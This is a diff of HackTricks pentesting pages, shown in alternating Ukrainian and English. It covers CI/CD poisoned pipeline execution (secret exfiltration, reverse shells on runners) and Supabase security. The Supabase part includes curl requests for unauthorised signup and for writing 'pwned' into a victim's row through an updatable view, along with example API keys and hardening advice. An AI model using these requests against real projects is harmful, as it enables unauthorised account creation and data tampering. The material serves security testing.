The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
|
||||
These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
|
||||
|
||||
Отже, кінцева мета нападника — якимось чином **скомпрометувати ці конфігураційні файли** або **команди, що вони виконують**.
|
||||
|
||||
> [!TIP]
|
||||
> Деякі hosted builders дозволяють контриб’юторам вибирати Docker build context та Dockerfile path. Якщо контекст контролюється нападником, ви можете вказати його поза репо (наприклад, ".."), щоб інжектити файли хоста під час збірки і витягувати секрети. Див.:
|
||||
>
|
||||
>{{#ref}}
|
||||
>docker-build-context-abuse.md
|
||||
>{{#endref}}
|
||||
Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
Poisoned Pipeline Execution (PPE) шлях експлуатує дозволи в SCM репозиторії для маніпуляції CI pipeline та виконання шкідливих команд. Користувачі з необхідними дозволами можуть змінювати CI configuration files або інші файли, які використовуються job-ом pipeline, щоб включити шкідливі команди. Це "отруює" CI pipeline, і в результаті виконуються ці шкідливі команди.
|
||||
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
|
||||
|
||||
Щоб зловмисник успішно провів PPE атаку, йому потрібно:
|
||||
For a malicious actor to be successful performing a PPE attack he needs to be able to:
|
||||
|
||||
- Мати **write access to the VCS platform**, оскільки зазвичай pipelines тригеряться при push або pull request. (Див. VCS pentesting methodology для підсумку способів отримати доступ).
|
||||
- Зверніть увагу, що іноді **external PR рахується як "write access"**.
|
||||
- Навіть якщо він має write permissions, йому потрібно переконатися, що він може **змінити CI config file або інші файли, від яких залежить конфіг**.
|
||||
- Для цього можливо доведеться **обійти branch protections**.
|
||||
- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
|
||||
- Note that sometimes an **external PR count as "write access"**.
|
||||
- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
|
||||
- For this, he might need to be able to **bypass branch protections**.
|
||||
|
||||
Існує 3 варіанти PPE:
|
||||
There are 3 PPE flavours:
|
||||
|
||||
- **D-PPE**: **Direct PPE** відбувається, коли актор **модифікує CI config** файл, який буде виконано.
|
||||
- **I-DDE**: **Indirect PPE** відбувається, коли актор **модифікує** файл, на який покладається CI config (наприклад make file або terraform config).
|
||||
- **Public PPE or 3PE**: Іноді pipelines можуть бути **тригеровані користувачами, які не мають write access у репо** (і навіть не є частиною org), тому що вони можуть надіслати PR.
|
||||
- **3PE Command Injection**: Зазвичай CI/CD pipelines будуть **встановлювати environment variables** з **інформацією про PR**. Якщо цим значенням може керувати нападник (наприклад, title of the PR) і воно **використовується** в **небезпечному місці** (наприклад при виконанні sh commands), нападник може **впровадити туди команди**.
|
||||
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
|
||||
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
|
||||
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
|
||||
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
Знаючи 3 варіанти отруєння pipeline, подивимося, що може отримати нападник після успішної експлуатації:
|
||||
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
|
||||
|
||||
- **Secrets**: Як було згадано раніше, pipelines потребують **привілеїв** для своїх job-ів (отримати код, зібрати його, задеплоїти...) і ці привілеї зазвичай **зберігаються в secrets**. Ці secrets зазвичай доступні через **env variables або файли всередині системи**. Тому нападник завжди намагатиметься ексфільтрувати якомога більше secrets.
|
||||
- Залежно від платформи pipeline нападник **може вимагати вказати secrets у конфігах**. Це означає, що якщо нападник не може змінити CI configuration pipeline (**I-PPE**, наприклад), він **зможе ексфільтрувати тільки ті secrets, які має цей pipeline**.
|
||||
- **Computation**: Код виконується десь; залежно від місця виконання нападник може виконати подальший pivot.
|
||||
- **On-Premises**: Якщо pipelines виконуються on-premises, нападник може опинитися в **внутрішній мережі з доступом до додаткових ресурсів**.
|
||||
- **Cloud**: Нападник може отримати доступ до **інших машин у хмарі**, а також може **ексфільтрувати** IAM roles/service accounts **tokens**, щоб отримати **додатковий доступ у cloud**.
|
||||
- **Platforms machine**: Іноді jobs виконуються всередині **машин платформи pipelines**, які зазвичай знаходяться у хмарі й мають **немає додаткових доступів**.
|
||||
- **Select it:** Іноді **платформа pipelines конфігурує кілька машин**, і якщо ви можете **змінити CI configuration file**, ви можете **вказати, де запускати шкідливий код**. У такому випадку нападник, ймовірно, запустить зворотний shell на кожній можливій машині, щоб спробувати подальшу експлуатацію.
|
||||
- **Compromise production**: Якщо ви всередині pipeline і кінцеву версію збирають і деплоять звідти, ви можете **скампрометувати код, який буде запущено у production**.
|
||||
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
|
||||
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
|
||||
- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
|
||||
- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
|
||||
- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
|
||||
- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
|
||||
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
|
||||
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
|
||||
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) — open-source інструмент для аудиту вашого software supply chain стеку на предмет відповідності безпеці, базований на новому [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Аудит фокусується на всьому SDLC процесі, де він може виявити ризики від часу коду до часу деплою.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Перегляньте цікаву статтю про топ-10 CI/CD ризиків за версією Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- На кожній платформі, яку ви можете запускати локально, ви знайдете інструкцію, як запустити її локально, щоб ви могли налаштувати її на свій розсуд для тестування
|
||||
- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** — інструмент статичного аналізу коду для infrastructure-as-code.
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,49 +1,50 @@
|
||||
# Supabase Безпека
|
||||
# Supabase Security
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
|
||||
|
||||
### Субдомен
|
||||
### Subdomain
|
||||
|
||||
Коли створюється проєкт, користувач отримає субдомен supabase.co, наприклад: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
|
||||
## **Конфігурація бази даних**
|
||||
## **Database configuration**
|
||||
|
||||
> [!TIP]
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
|
||||
Ця **база даних** буде розгорнута в певному регіоні AWS, і для підключення до неї можна використовувати: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (цей був створений в us-west-1).\
|
||||
Пароль — це **пароль, який користувач встановив** раніше.
|
||||
This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
|
||||
The password is a **password the user put** previously.
|
||||
|
||||
Тому, оскільки субдомен відомий і використовується як ім'я користувача, а регіони AWS обмежені, можливо спробувати **brute force the password**.
|
||||
Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
|
||||
|
||||
Цей розділ також містить опції для:
|
||||
This section also contains options to:
|
||||
|
||||
- Скидання пароля бази даних
|
||||
- Налаштування пулінгу з'єднань
|
||||
- Налаштування SSL: відхиляти підключення у відкритому тексті (за замовчуванням вони дозволені)
|
||||
- Налаштування розміру диска
|
||||
- Застосування мережевих обмежень та блокувань
|
||||
- Reset the database password
|
||||
- Configure connection pooling
|
||||
- Configure SSL: Reject plan-text connections (by default they are enabled)
|
||||
- Configure Disk size
|
||||
- Apply network restrictions and bans
|
||||
|
||||
## Конфігурація API
|
||||
## API Configuration
|
||||
|
||||
> [!TIP]
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
|
||||
URL для доступу до supabase API у вашому проєкті буде виглядати так: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
|
||||
### anon API ключі
|
||||
### anon api keys
|
||||
|
||||
Вона також згенерує **anon API key** (`role: "anon"`), наприклад: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, який застосунок має використовувати, щоб звертатися до API, наведеного в нашому прикладі в
|
||||
It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
|
||||
|
||||
It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Реєстрація (/auth/v1/signup)</summary>
|
||||
<summary>Signup (/auth/v1/signup)</summary>
|
||||
|
||||
```
|
||||
POST /auth/v1/signup HTTP/2
|
||||
Host: id.io.net
|
||||
@@ -68,11 +69,13 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Вхід (/auth/v1/token?grant_type=password)</summary>
|
||||
<summary>Login (/auth/v1/token?grant_type=password)</summary>
|
||||
|
||||
```
|
||||
POST /auth/v1/token?grant_type=password HTTP/2
|
||||
Host: hypzbtgspjkludjcnjxl.supabase.co
|
||||
@@ -97,53 +100,56 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Отже, коли ви виявляєте клієнта, який використовує supabase з піддоменом, що йому було надано (можливо, піддомен компанії має CNAME, спрямований на їхній піддомен supabase), ви можете спробувати **створити новий акаунт на платформі, використовуючи supabase API**.
|
||||
So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
|
||||
|
||||
### секретні / service_role api keys
|
||||
### secret / service_role api keys
|
||||
|
||||
Також буде згенеровано секретний API key з **`role: "service_role"`**. Цей API key має залишатися секретним, оскільки він дозволяє обходити **Row Level Security**.
|
||||
A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
|
||||
|
||||
The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
|
||||
|
||||
### JWT Secret
|
||||
|
||||
Також буде згенеровано **JWT Secret**, щоб додаток міг **створювати та підписувати кастомні JWT tokens**.
|
||||
A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
|
||||
|
||||
## Аутентифікація
|
||||
## Authentication
|
||||
|
||||
### Реєстрація
|
||||
### Signups
|
||||
|
||||
> [!TIP]
|
||||
> За **замовчуванням** supabase дозволяє **новим користувачам створювати акаунти** у вашому проєкті, використовуючи вказані вище API endpoints.
|
||||
> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
|
||||
|
||||
Однак ці нові акаунти за замовчуванням **повинні підтвердити свою електронну пошту**, щоб мати змогу увійти в акаунт. Можна увімкнути опцію **"Allow anonymous sign-ins"**, щоб дозволити людям входити без підтвердження email. Це може надати доступ до **неочікуваних даних** (вони отримують ролі `public` та `authenticated`).\
|
||||
Це дуже погана ідея, оскільки supabase стягує плату за активного користувача, тож люди можуть створювати користувачів і заходити в систему, а supabase буде стягувати за них плату:
|
||||
However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
|
||||
This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
|
||||
|
||||
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Auth: Server-side signup enforcement
|
||||
|
||||
Приховування кнопки реєстрації на фронтенді недостатньо. Якщо **Auth сервер все ще дозволяє реєстрацію**, зловмисник може викликати API напряму з використанням публічного `anon` ключа і створити довільних користувачів.
|
||||
Hiding the signup button in the frontend is not enough. If the **Auth server still allows signups**, an attacker can call the API directly with the public `anon` key and create arbitrary users.
|
||||
|
||||
Quick test (from an unauthenticated client):
|
||||
|
||||
Швидкий тест (з неавторизованого клієнта):
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
|
||||
https://<PROJECT_REF>.supabase.co/auth/v1/signup
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
|
||||
https://<PROJECT_REF>.supabase.co/auth/v1/signup
|
||||
```
|
||||
|
||||
Expected hardening:
|
||||
- Disable email/password signups in the Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), or set the equivalent GoTrue setting.
|
||||
- Перевірте, що API тепер повертає 4xx на попередній виклик і новий користувач не створюється.
|
||||
- Якщо ви покладаєтесь на invites або SSO, переконайтесь, що всі інші провайдери вимкнені, якщо вони явно не потрібні.
|
||||
- Verify the API now returns 4xx to the previous call and no new user is created.
|
||||
- If you rely on invites or SSO, ensure all other providers are disabled unless explicitly needed.
|
||||
|
||||
## RLS and Views: Write bypass via PostgREST
|
||||
|
||||
Використання Postgres VIEW для «приховування» чутливих стовпців і експонування його через PostgREST може змінити спосіб оцінки привілеїв. У PostgreSQL:
|
||||
Using a Postgres VIEW to “hide” sensitive columns and exposing it via PostgREST can change how privileges are evaluated. In PostgreSQL:
|
||||
- Ordinary views execute with the privileges of the view owner by default (definer semantics). In PG ≥15 you can opt into `security_invoker`.
|
||||
- Row Level Security (RLS) applies on base tables. Table owners bypass RLS unless `FORCE ROW LEVEL SECURITY` is set on the table.
|
||||
- Updatable views can accept INSERT/UPDATE/DELETE that are then applied to the base table. Without `WITH CHECK OPTION`, writes that don’t match the view predicate may still succeed.
|
||||
@@ -154,108 +160,113 @@ Risk pattern observed in the wild:
|
||||
- Result: low-privileged clients can mass-edit rows (e.g., profile bios/avatars) they should not be able to modify.
|
||||
|
||||
Illustrative write via view (attempted from a public client):
|
||||
|
||||
```bash
|
||||
curl -X PATCH \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=representation" \
|
||||
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=representation" \
|
||||
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
|
||||
```
|
||||
|
||||
Hardening checklist for views and RLS:
|
||||
- Віддавайте перевагу експонуванню базових таблиць з явними наданнями найменших привілеїв і точними RLS-політиками.
|
||||
- Якщо потрібно експонувати представлення:
|
||||
- Зробіть його неоновлюваним (наприклад, включіть вирази/joins) або забороніть `INSERT/UPDATE/DELETE` на представленні для всіх ненадійних ролей.
|
||||
- Забезпечте виконання `ALTER VIEW <v> SET (security_invoker = on)` — щоб використовувалися привілеї того, хто викликає (invoker), замість привілеїв власника.
|
||||
- Для базових таблиць використовуйте `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` — щоб навіть власники підлягали RLS.
|
||||
- Якщо дозволяєте запис через updatable view, додайте `WITH [LOCAL|CASCADED] CHECK OPTION` і доповнювальні RLS на базових таблицях, щоб гарантувати, що записуються/змінюються лише дозволені рядки.
|
||||
- В Supabase уникайте надання `anon`/`authenticated` будь-яких прав на запис у представлення, якщо ви не перевірили end-to-end поведінку за допомогою тестів.
|
||||
- Prefer exposing base tables with explicit, least-privilege grants and precise RLS policies.
|
||||
- If you must expose a view:
|
||||
- Make it non-updatable (e.g., include expressions/joins) or deny `INSERT/UPDATE/DELETE` on the view to all untrusted roles.
|
||||
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` so the invoker’s privileges are used instead of the owner’s.
|
||||
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` so even owners are subject to RLS.
|
||||
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` and complementary RLS on base tables to ensure only allowed rows can be written/changed.
|
||||
- In Supabase, avoid granting `anon`/`authenticated` any write privileges on views unless you have verified end-to-end behavior with tests.
|
||||
|
||||
Detection tip:
|
||||
- Від імені `anon` та тестового користувача `authenticated` спробуйте виконати всі CRUD-операції проти кожної відкритої таблиці/представлення. Будь-який успішний запис у місці, де ви очікували відмови, свідчить про неправильну конфігурацію.
|
||||
- From `anon` and an `authenticated` test user, attempt all CRUD operations against every exposed table/view. Any successful write where you expected denial indicates a misconfiguration.
|
||||
|
||||
### OpenAPI-driven CRUD probing from anon/auth roles
|
||||
|
||||
PostgREST exposes an OpenAPI document that you can use to enumerate all REST resources, then automatically probe allowed operations from low-privileged roles.
|
||||
|
||||
Fetch the OpenAPI (works with the public anon key):
|
||||
|
||||
```bash
|
||||
curl -s https://<PROJECT_REF>.supabase.co/rest/v1/ \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
|
||||
```
|
||||
Шаблон перевірки (приклади):
|
||||
- Прочитати один рядок (очікується 401/403/200 залежно від RLS):
|
||||
|
||||
Probe pattern (examples):
|
||||
- Read a single row (expect 401/403/200 depending on RLS):
|
||||
```bash
|
||||
curl -s "https://<PROJECT_REF>.supabase.co/rest/v1/<table>?select=*&limit=1" \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
|
||||
```
|
||||
- Перевірте, що UPDATE заблоковано (використовуйте неіснуючий filter, щоб уникнути зміни даних під час тестування):
|
||||
- Test UPDATE is blocked (use a non-existing filter to avoid altering data during testing):
|
||||
```bash
|
||||
curl -i -X PATCH \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
```
|
||||
- Тест INSERT заблоковано:
|
||||
- Test INSERT is blocked:
|
||||
```bash
|
||||
curl -i -X POST \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
|
||||
```
|
||||
- Перевірте, що DELETE заблоковано:
|
||||
- Test DELETE is blocked:
|
||||
```bash
|
||||
curl -i -X DELETE \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
```
|
||||
Рекомендації:
|
||||
- Автоматизуйте попередні перевірки для обох `anon` та мінімально `authenticated` користувачів і інтегруйте їх у CI, щоб виявляти регресії.
|
||||
- Розглядайте кожну відкриту table/view/function як первинну поверхню. Не припускайте, що view «успадковує» ту ж RLS політику, що й її базові таблиці.
|
||||
|
||||
### Паролі та сесії
|
||||
Recommendations:
|
||||
- Automate the previous probes for both `anon` and a minimally `authenticated` user and integrate them in CI to catch regressions.
|
||||
- Treat every exposed table/view/function as a first-class surface. Don’t assume a view “inherits” the same RLS posture as its base tables.
|
||||
|
||||
Можна вказати мінімальну довжину пароля (за замовчуванням), вимоги (за замовчуванням відсутні) та заборонити використання leaked passwords.\
|
||||
Рекомендується **покращити вимоги, оскільки значення за замовчуванням слабкі**.
|
||||
### Passwords & sessions
|
||||
|
||||
- User Sessions: Можна налаштувати, як працюють сесії користувачів (таймаути, 1 сесія на користувача...)
|
||||
- Bot and Abuse Protection: Можна увімкнути Captcha.
|
||||
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
|
||||
It's recommended to **improve the requirements as the default ones are weak**.
|
||||
|
||||
- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
|
||||
- Bot and Abuse Protection: It's possible to enable Captcha.
|
||||
|
||||
### SMTP Settings
|
||||
|
||||
Можна вказати SMTP для відправки листів.
|
||||
It's possible to set an SMTP to send emails.
|
||||
|
||||
### Advanced Settings
|
||||
|
||||
- Set expire time to access tokens (3600 by default)
|
||||
- Set to detect and revoke potentially compromised refresh tokens and timeout
|
||||
- MFA: Вказати, скільки MFA факторів може бути зареєстровано одночасно для одного користувача (за замовчуванням 10)
|
||||
- Max Direct Database Connections: Максимальна кількість з'єднань, що використовуються для auth (за замовчуванням 10)
|
||||
- Max Request Duration: Максимальний час для Auth request (за замовчуванням 10s)
|
||||
- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
|
||||
- Max Direct Database Connections: Max number of connections used to auth (10 by default)
|
||||
- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
|
||||
|
||||
## Storage
|
||||
|
||||
> [!TIP]
|
||||
> Supabase дозволяє **зберігати файли** і робити їх доступними за URL (використовує S3 buckets).
|
||||
> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
|
||||
|
||||
- Встановіть обмеження на розмір файлу для завантаження (за замовчуванням 50MB)
|
||||
- Set the upload file size limit (default is 50MB)
|
||||
- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- Можна **запитати S3 access key** які складаються з `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) та `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
|
||||
- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
|
||||
|
||||
## Edge Functions
|
||||
|
||||
У Supabase також можна **зберігати secrets**, які будуть **доступні by edge functions** (їх можна створювати та видаляти з веба, але неможливо безпосередньо прочитати їх значення).
|
||||
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -1,34 +1,34 @@
|
||||
# Terraform Безпека
|
||||
# Terraform Security
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
